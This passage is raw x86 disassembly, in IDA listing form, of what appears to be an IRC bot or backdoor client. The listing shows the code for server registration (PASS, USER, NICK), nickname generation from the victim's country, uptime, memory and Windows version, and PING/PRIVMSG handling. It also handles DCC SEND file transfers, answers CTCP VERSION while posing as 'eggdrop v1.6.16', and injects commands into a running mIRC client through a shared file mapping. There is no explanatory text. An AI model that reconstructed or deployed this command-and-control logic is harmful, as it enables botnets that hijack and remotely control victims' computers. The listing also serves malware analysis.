; sub_40D871+619p
var_250 = dword ptr -250h
var_24C = byte ptr -24Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_18C = dword ptr -18Ch
var_188 = dword ptr -188h
var_184 = byte ptr -184h
var_104 = byte ptr -104h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 250h
push edi
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_80]
push eax
call sub_40668F
add esp, 0Ch
movsx eax, byte_41E718
test eax, eax
jz short loc_40D099
push offset byte_41E718
call sub_4105FB
pop ecx
push offset byte_41E718
push offset aPassS ; "PASS %s"
call sub_40D6CB
pop ecx
pop ecx
push offset byte_41E718
call sub_4105AD
pop ecx
loc_40D099: ; CODE XREF: sub_40D043+2Dj
cmp [ebp+arg_0], 0
jz loc_40D132
movsx eax, byte_41EEC8
test eax, eax
jz short loc_40D0C3
push offset byte_41EEC8
lea eax, [ebp+var_184]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40D0D6
; ---------------------------------------------------------------------------
loc_40D0C3: ; CODE XREF: sub_40D043+69j
lea eax, [ebp+var_184]
push eax
push offset byte_41EEC8
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40D0D6: ; CODE XREF: sub_40D043+7Ej
movsx eax, byte_41F048
test eax, eax
jz short loc_40D0F6
push offset byte_41F048
lea eax, [ebp+var_104]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_40D109
; ---------------------------------------------------------------------------
loc_40D0F6: ; CODE XREF: sub_40D043+9Cj
lea eax, [ebp+var_104]
push eax
push offset byte_41F048
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40D109: ; CODE XREF: sub_40D043+B1j
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_184]
push eax
lea eax, [ebp+var_184]
push eax
push offset aUserSSSS ; "USER %s %s %s :%s"
call sub_40D6CB
add esp, 14h
loc_40D132: ; CODE XREF: sub_40D043+5Aj
cmp [ebp+arg_4], 0
jz loc_40D363
cmp [ebp+arg_0], 0
jz short loc_40D163
movsx eax, byte_41EE48
test eax, eax
jz short loc_40D163
push offset byte_41EE48
push offset dword_419F04
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40D363
; ---------------------------------------------------------------------------
loc_40D163: ; CODE XREF: sub_40D043+FDj
; sub_40D043+108j
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_188], eax
cmp [ebp+var_188], 4
jnb short loc_40D18D
call sub_406AE7
test eax, eax
jz loc_40D31F
loc_40D18D: ; CODE XREF: sub_40D043+13Bj
call sub_406A23
lea eax, [ebp+var_24C]
push eax
call sub_408342
pop ecx
test eax, eax
jnz short loc_40D1B6
push offset aUnk ; "UNK"
lea eax, [ebp+var_24C]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40D1B6: ; CODE XREF: sub_40D043+15Ej
call sub_408E8E
cmp eax, 400h
jbe short loc_40D1CF
call sub_408E8E
mov [ebp+var_250], eax
jmp short loc_40D1D9
; ---------------------------------------------------------------------------
loc_40D1CF: ; CODE XREF: sub_40D043+17Dj
mov [ebp+var_250], 400h
loc_40D1D9: ; CODE XREF: sub_40D043+18Aj
mov eax, [ebp+var_250]
shr eax, 0Ah
mov [ebp+var_228], eax
call sub_408887
mov [ebp+var_18C], eax
mov [ebp+var_224], offset aB ; "B"
cmp [ebp+var_18C], 2EEh
jnb short loc_40D213
mov [ebp+var_224], offset aA_0 ; "A"
loc_40D213: ; CODE XREF: sub_40D043+1C4j
cmp [ebp+var_18C], 1F4h
jnb short loc_40D229
mov [ebp+var_224], offset aG ; "G"
loc_40D229: ; CODE XREF: sub_40D043+1DAj
and [ebp+var_22C], 0
mov [ebp+var_220], 94h
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_21C]
rep stosd
lea eax, [ebp+var_220]
push eax
call ds:dword_417030 ; GetVersionExA
cmp [ebp+var_21C], 5
jnz short loc_40D270
cmp [ebp+var_218], 1
jnz short loc_40D270
mov [ebp+var_22C], 1
loc_40D270: ; CODE XREF: sub_40D043+218j
; sub_40D043+221j
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
cmp [ebp+var_22C], 0
setz al
dec eax
and eax, 2Fh
add eax, 2Dh
movsx eax, al
push eax
push [ebp+var_224]
push [ebp+var_228]
push 5Dh
push [ebp+var_188]
push 5Bh
push 5Dh
lea eax, [ebp+var_24C]
push eax
push 5Bh
push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
lea eax, [ebp+var_80]
push eax
call sub_416B5E ; sprintf
add esp, 34h
movsx eax, byte_41DB34
test eax, eax
jz short loc_40D31D
push offset byte_41DB34
push offset dword_41DAB4
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset dword_41DAB4
call sub_4105FB
pop ecx
movsx eax, byte_41DBB4
test eax, eax
jz short loc_40D31D
push offset byte_41DBB4
push offset dword_41ED48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset dword_41ED48
call sub_4105FB
pop ecx
loc_40D31D: ; CODE XREF: sub_40D043+295j
; sub_40D043+2BCj
jmp short loc_40D343
; ---------------------------------------------------------------------------
loc_40D31F: ; CODE XREF: sub_40D043+144j
push offset dword_41DAA4
lea eax, [ebp+var_80]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_80]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_80]
push eax
call sub_40D7E5
pop ecx
loc_40D343: ; CODE XREF: sub_40D043:loc_40D31Dj
lea eax, [ebp+var_80]
push eax
push offset dword_419F04
call sub_40D6CB
pop ecx
pop ecx
lea eax, [ebp+var_80]
push eax
push offset byte_41EE48
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40D363: ; CODE XREF: sub_40D043+F3j
; sub_40D043+11Bj
pop edi
leave
retn
sub_40D043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D366 proc near ; CODE XREF: sub_40A9CF+1521p
; sub_40D871+4A7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF2F
add esp, 0Ch
push dword_41E9A4
call sub_40538D
pop ecx
mov [ebp+var_4], 0EA60h
loc_40D38E: ; CODE XREF: sub_40D366:loc_40D419j
push offset dword_41E898
call sub_4105FB
pop ecx
push offset dword_41E998
call sub_4105FB
pop ecx
push 2710h
push 1
push offset dword_41E998
push offset dword_41E898
call sub_4050EA
add esp, 10h
mov dword_41E9A4, eax
push offset dword_41E898
call sub_4105AD
pop ecx
push offset dword_41E998
call sub_4105AD
pop ecx
cmp dword_41E9A4, 0
jz short loc_40D3EE
push 1
push 1
call sub_40D043
pop ecx
pop ecx
jmp short locret_40D41E
; ---------------------------------------------------------------------------
loc_40D3EE: ; CODE XREF: sub_40D366+79j
push 0
push 0
push 0
call sub_40CF2F
add esp, 0Ch
push [ebp+var_4]
call ds:dword_41709C ; Sleep
cmp [ebp+var_4], 0A4CB80h
jge short loc_40D419
mov eax, [ebp+var_4]
add eax, 0EA60h
mov [ebp+var_4], eax
loc_40D419: ; CODE XREF: sub_40D366+A6j
jmp loc_40D38E
; ---------------------------------------------------------------------------
locret_40D41E: ; CODE XREF: sub_40D366+86j
leave
retn
sub_40D366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D420 proc near ; CODE XREF: sub_4020C2+1DEp
; sub_40A9CF+1219p ...
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1008h
call sub_416BC0
push [ebp+arg_0]
push offset aNoticeS ; "NOTICE %s :"
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_4]
mov eax, 1000h
sub eax, [ebp+var_8]
push eax
mov eax, [ebp+var_8]
lea eax, [ebp+eax+var_1008]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
leave
retn
sub_40D420 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D4AB proc near ; CODE XREF: sub_4020C2+21Bp
; sub_40332B+1A6p ...
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1008h
call sub_416BC0
push [ebp+arg_0]
push offset aPrivmsgS ; "PRIVMSG %s :"
lea eax, [ebp+var_1004]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_1008], eax
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_4]
mov eax, 1000h
sub eax, [ebp+var_1008]
push eax
mov eax, [ebp+var_1008]
lea eax, [ebp+eax+var_1004]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1004]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1004]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
leave
retn
sub_40D4AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D53F proc near ; CODE XREF: sub_401244+51p
; sub_401244+41Ep ...
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
mov eax, 1008h
call sub_416BC0
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+198h]
test eax, eax
jz short loc_40D55F
jmp locret_40D6C9
; ---------------------------------------------------------------------------
loc_40D55F: ; CODE XREF: sub_40D53F+19j
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 1
jnz short loc_40D58F
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset aNoticeS ; "NOTICE %s :"
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
jmp short loc_40D605
; ---------------------------------------------------------------------------
loc_40D58F: ; CODE XREF: sub_40D53F+2Ej
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 2
jnz short loc_40D5BB
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset dword_41A058
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
jmp short loc_40D605
; ---------------------------------------------------------------------------
loc_40D5BB: ; CODE XREF: sub_40D53F+5Aj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 3
jnz short loc_40D5E7
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset dword_41A048
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
jmp short loc_40D605
; ---------------------------------------------------------------------------
loc_40D5E7: ; CODE XREF: sub_40D53F+86j
mov eax, [ebp+arg_0]
add eax, 21h
push eax
push offset aPrivmsgS ; "PRIVMSG %s :"
lea eax, [ebp+var_1008]
push eax
call sub_416B5E ; sprintf
add esp, 0Ch
mov [ebp+var_8], eax
loc_40D605: ; CODE XREF: sub_40D53F+4Ej
; sub_40D53F+7Aj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax+19Fh], 0
jz short loc_40D63C
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 2
jz short loc_40D629
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 3
jnz short loc_40D63C
loc_40D629: ; CODE XREF: sub_40D53F+DCj
push offset dword_41A03C
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
loc_40D63C: ; CODE XREF: sub_40D53F+D0j
; sub_40D53F+E8j
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_4]
mov eax, 1000h
sub eax, [ebp+var_8]
push eax
mov eax, [ebp+var_8]
lea eax, [ebp+eax+var_1008]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 2
jz short loc_40D680
mov eax, [ebp+arg_0]
cmp dword ptr [eax+121h], 3
jnz short loc_40D693
loc_40D680: ; CODE XREF: sub_40D53F+133j
push offset dword_41A038
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
loc_40D693: ; CODE XREF: sub_40D53F+13Fj
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1008]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_1008]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
locret_40D6C9: ; CODE XREF: sub_40D53F+1Bj
leave
retn
sub_40D53F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D6CB proc near ; CODE XREF: sub_40332B+205p
; sub_40332B+212p ...
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1004h
call sub_416BC0
lea eax, [ebp+arg_4]
mov [ebp+var_4], eax
push [ebp+var_4]
push [ebp+arg_0]
push 1000h
lea eax, [ebp+var_1004]
push eax
call sub_416DF0 ; _vsnprintf
add esp, 10h
and [ebp+var_4], 0
push offset asc_418214 ; "\r\n"
lea eax, [ebp+var_1004]
push eax
call sub_416B70 ; _mbscat
pop ecx
pop ecx
lea eax, [ebp+var_1004]
push eax
call sub_416B40 ; strlen
pop ecx
push eax
lea eax, [ebp+var_1004]
push eax
push dword_41E9A4
call sub_4053BF
add esp, 0Ch
leave
retn
sub_40D6CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D734 proc near ; CODE XREF: sub_40D74D:loc_40D75Ep
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push 0
push offset aMirc ; "mIRC"
call ds:dword_4171E8 ; FindWindowA
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_40D734 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D74D proc near ; CODE XREF: sub_40A9CF+926p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
cmp [ebp+arg_0], 0
jnz short loc_40D75E
jmp locret_40D7E3
; ---------------------------------------------------------------------------
loc_40D75E: ; CODE XREF: sub_40D74D+Aj
call sub_40D734
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_40D76E
jmp short locret_40D7E3
; ---------------------------------------------------------------------------
loc_40D76E: ; CODE XREF: sub_40D74D+1Dj
push offset aMirc ; "mIRC"
push 1000h
push 0
push 4
push 0
push 0FFFFFFFFh
call ds:dword_4170C0 ; CreateFileMappingA
mov [ebp+var_8], eax
push 0
push 0
push 0
push 0F001Fh
push [ebp+var_8]
call ds:dword_4170BC ; MapViewOfFile
mov [ebp+var_C], eax
push [ebp+arg_0]
push [ebp+var_C]
call sub_416B5E ; sprintf
pop ecx
pop ecx
push 0
push 1
push 4C8h
push [ebp+var_4]
call ds:dword_4171EC ; SendMessageA
push 0
push 1
push 4C9h
push [ebp+var_4]
call ds:dword_4171EC ; SendMessageA
push [ebp+var_C]
call ds:dword_4170B8 ; UnmapViewOfFile
push [ebp+var_8]
call ds:dword_4170A4 ; CloseHandle
locret_40D7E3: ; CODE XREF: sub_40D74D+Cj
; sub_40D74D+1Fj
leave
retn
sub_40D74D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7E5 proc near ; CODE XREF: sub_40A9CF+E3p
; sub_40D043+2FAp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_0]
call sub_416B40 ; strlen
pop ecx
mov [ebp+var_8], eax
and [ebp+var_4], 0
jmp short loc_40D803
; ---------------------------------------------------------------------------
loc_40D7FC: ; CODE XREF: sub_40D7E5:loc_40D86Dj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_40D803: ; CODE XREF: sub_40D7E5+15j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jge short locret_40D86F
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 23h
jnz short loc_40D82E
push 39h
push 30h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_40D86D
; ---------------------------------------------------------------------------
loc_40D82E: ; CODE XREF: sub_40D7E5+32j
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
cmp eax, 3Fh
jnz short loc_40D86D
call sub_410483
test eax, eax
jz short loc_40D85A
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_40D86D
; ---------------------------------------------------------------------------
loc_40D85A: ; CODE XREF: sub_40D7E5+5Ej
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_4]
mov [ecx], al
loc_40D86D: ; CODE XREF: sub_40D7E5+47j
; sub_40D7E5+55j ...
jmp short loc_40D7FC
; ---------------------------------------------------------------------------
locret_40D86F: ; CODE XREF: sub_40D7E5+24j
leave
retn
sub_40D7E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D871 proc near ; CODE XREF: sub_40E618+321p
var_7E8 = dword ptr -7E8h
var_7E4 = dword ptr -7E4h
var_7E0 = dword ptr -7E0h
var_7DC = byte ptr -7DCh
var_7D8 = dword ptr -7D8h
var_7D4 = dword ptr -7D4h
var_7D0 = dword ptr -7D0h
var_7CC = dword ptr -7CCh
var_7C8 = dword ptr -7C8h
var_7C4 = byte ptr -7C4h
var_7C0 = dword ptr -7C0h
var_7BC = byte ptr -7BCh
var_5BC = dword ptr -5BCh
var_5B8 = dword ptr -5B8h
var_5B4 = byte ptr -5B4h
var_4B4 = byte ptr -4B4h
var_490 = byte ptr -490h
var_390 = byte ptr -390h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
var_35C = dword ptr -35Ch
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_238 = dword ptr -238h
var_234 = byte ptr -234h
var_213 = byte ptr -213h
var_113 = dword ptr -113h
var_10F = byte ptr -10Fh
var_95 = dword ptr -95h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 7E8h
push edi
push offset aPing ; "PING"
mov eax, [ebp+arg_C]
push dword ptr [eax]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40D8A7
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
push offset aPongS ; "PONG %s"
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D8A7: ; CODE XREF: sub_40D871+1Dj
push offset aPong ; "PONG"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40D8C2
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D8C2: ; CODE XREF: sub_40D871+4Aj
push offset aMode ; "MODE"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz short loc_40D8DD
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D8DD: ; CODE XREF: sub_40D871+65j
push offset aPrivmsg ; "PRIVMSG"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40DB2D
mov eax, [ebp+arg_C]
cmp dword ptr [eax+0Ch], 0
jz loc_40DB2D
mov eax, [ebp+arg_C]
mov eax, [eax+0Ch]
movsx eax, byte ptr [eax+1]
cmp eax, 1
jnz loc_40DB2D
push offset dword_41A14C
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40DA81
mov eax, [ebp+arg_C]
cmp dword ptr [eax+10h], 0
jz loc_40DA81
push offset aSend ; "SEND"
mov eax, [ebp+arg_C]
push dword ptr [eax+10h]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40DA81
cmp [ebp+arg_0], 0
jz loc_40DA81
mov eax, [ebp+arg_C]
cmp dword ptr [eax+14h], 0
jz short loc_40D986
mov eax, [ebp+arg_C]
cmp dword ptr [eax+18h], 0
jz short loc_40D986
mov eax, [ebp+arg_C]
cmp dword ptr [eax+1Ch], 0
jz short loc_40D986
mov eax, [ebp+arg_C]
cmp dword ptr [eax+20h], 0
jnz short loc_40D98B
loc_40D986: ; CODE XREF: sub_40D871+F8j
; sub_40D871+101j ...
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D98B: ; CODE XREF: sub_40D871+113j
mov eax, [ebp+arg_C]
mov eax, [eax+14h]
movsx eax, byte ptr [eax]
cmp eax, 22h
jnz short loc_40D99E
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40D99E: ; CODE XREF: sub_40D871+126j
mov eax, [ebp+arg_C]
push dword ptr [eax+20h]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+arg_C]
mov ecx, [ecx+20h]
and byte ptr [ecx+eax], 0
push [ebp+arg_4]
lea eax, [ebp+var_234]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset dword_41DAB4
lea eax, [ebp+var_213]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
and [ebp+var_113], 0
push 7Ah
push 0
lea eax, [ebp+var_10F]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_95], 1
mov eax, [ebp+arg_C]
push dword ptr [eax+18h]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_238], eax
movzx eax, byte ptr [ebp+var_238]
push eax
mov eax, [ebp+var_238]
shr eax, 8
movzx eax, al
push eax
mov eax, [ebp+var_238]
shr eax, 10h
movzx eax, al
push eax
mov eax, [ebp+var_238]
shr eax, 18h
movzx eax, al
push eax
push offset dword_418A50
lea eax, [ebp+var_248]
push eax
call sub_416B5E ; sprintf
add esp, 18h
mov eax, [ebp+arg_C]
push dword ptr [eax+20h]
mov eax, [ebp+arg_C]
push dword ptr [eax+1Ch]
lea eax, [ebp+var_248]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax+14h]
push [ebp+arg_4]
lea eax, [ebp+var_234]
push eax
call sub_4024F3
add esp, 18h
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DA81: ; CODE XREF: sub_40D871+BAj
; sub_40D871+C7j ...
push offset dword_41A138
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jz short loc_40DAAD
push offset dword_41A12C
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jnz short loc_40DAEB
loc_40DAAD: ; CODE XREF: sub_40D871+224j
cmp [ebp+arg_0], 0
jz short loc_40DAD1
push offset dword_41DC34
push 3B6h
push 0
push offset dword_41A108
push [ebp+arg_4]
call sub_40D420
add esp, 14h
jmp short loc_40DAE6
; ---------------------------------------------------------------------------
loc_40DAD1: ; CODE XREF: sub_40D871+240j
push offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
push offset dword_41A0E8
push [ebp+arg_4]
call sub_40D420
add esp, 0Ch
loc_40DAE6: ; CODE XREF: sub_40D871+25Ej
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DAEB: ; CODE XREF: sub_40D871+23Aj
push offset dword_41A0E0
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jz short loc_40DB16
push offset dword_41A0D8
mov eax, [ebp+arg_C]
push dword ptr [eax+0Ch]
call ds:dword_417108 ; lstrcmp
test eax, eax
jnz short loc_40DB2D
loc_40DB16: ; CODE XREF: sub_40D871+28Ej
mov eax, [ebp+arg_10]
mov eax, [eax+0Ch]
inc eax
push eax
push [ebp+arg_4]
call sub_40D420
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DB2D: ; CODE XREF: sub_40D871+80j
; sub_40D871+8Dj ...
push offset a433 ; "433"
mov eax, [ebp+arg_C]
push dword ptr [eax+4]
call sub_416F74 ; _strcmpi
pop ecx
pop ecx
test eax, eax
jnz loc_40DCFD
call sub_4092A4
xor edx, edx
mov ecx, 15180h
div ecx
mov [ebp+var_2CC], eax
cmp [ebp+var_2CC], 4
jnb short loc_40DB71
call sub_406AE7
test eax, eax
jz loc_40DCB8
loc_40DB71: ; CODE XREF: sub_40D871+2F1j
call sub_406A23
lea eax, [ebp+var_390]
push eax
call sub_408342
pop ecx
test eax, eax
jnz short loc_40DB9A
push offset aUnk ; "UNK"
lea eax, [ebp+var_390]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_40DB9A: ; CODE XREF: sub_40D871+314j
call sub_408E8E
cmp eax, 400h
jbe short loc_40DBB3
call sub_408E8E
mov [ebp+var_7E4], eax
jmp short loc_40DBBD
; ---------------------------------------------------------------------------
loc_40DBB3: ; CODE XREF: sub_40D871+333j
mov [ebp+var_7E4], 400h
loc_40DBBD: ; CODE XREF: sub_40D871+340j
mov eax, [ebp+var_7E4]
shr eax, 0Ah
mov [ebp+var_36C], eax
call sub_408887
mov [ebp+var_2D0], eax
mov [ebp+var_368], offset aB ; "B"
cmp [ebp+var_2D0], 3E8h
jnb short loc_40DBF7
mov [ebp+var_368], offset aA_0 ; "A"
loc_40DBF7: ; CODE XREF: sub_40D871+37Aj
cmp [ebp+var_2D0], 1F4h
jnb short loc_40DC0D
mov [ebp+var_368], offset aG ; "G"
loc_40DC0D: ; CODE XREF: sub_40D871+390j
and [ebp+var_370], 0
mov [ebp+var_364], 94h
push 24h
pop ecx
xor eax, eax
lea edi, [ebp+var_360]
rep stosd
lea eax, [ebp+var_364]
push eax
call ds:dword_417030 ; GetVersionExA
cmp [ebp+var_360], 5
jnz short loc_40DC54
cmp [ebp+var_35C], 1
jnz short loc_40DC54
mov [ebp+var_370], 1
loc_40DC54: ; CODE XREF: sub_40D871+3CEj
; sub_40D871+3D7j
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
push 5Ah
push 41h
call sub_4103F5
pop ecx
pop ecx
push eax
cmp [ebp+var_370], 0
setz al
dec eax
and eax, 2Fh
add eax, 2Dh
movsx eax, al
push eax
push [ebp+var_368]
push [ebp+var_36C]
push 5Dh
push [ebp+var_2CC]
push 5Bh
push 5Dh
lea eax, [ebp+var_390]
push eax
push 5Bh
push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
lea eax, [ebp+var_2C8]
push eax
call sub_416B5E ; sprintf
add esp, 34h
jmp short loc_40DCE5
; ---------------------------------------------------------------------------
loc_40DCB8: ; CODE XREF: sub_40D871+2FAj
push offset dword_41DAA4
lea eax, [ebp+var_2C8]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
lea eax, [ebp+var_2C8]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_2C8]
push eax
call sub_40D7E5
pop ecx
loc_40DCE5: ; CODE XREF: sub_40D871+445j
lea eax, [ebp+var_2C8]
push eax
push offset dword_419F04
call sub_40D6CB
pop ecx
pop ecx
jmp loc_40E615
; ---------------------------------------------------------------------------
loc_40DCFD: ; CODE XREF: sub_40D871+2D0j
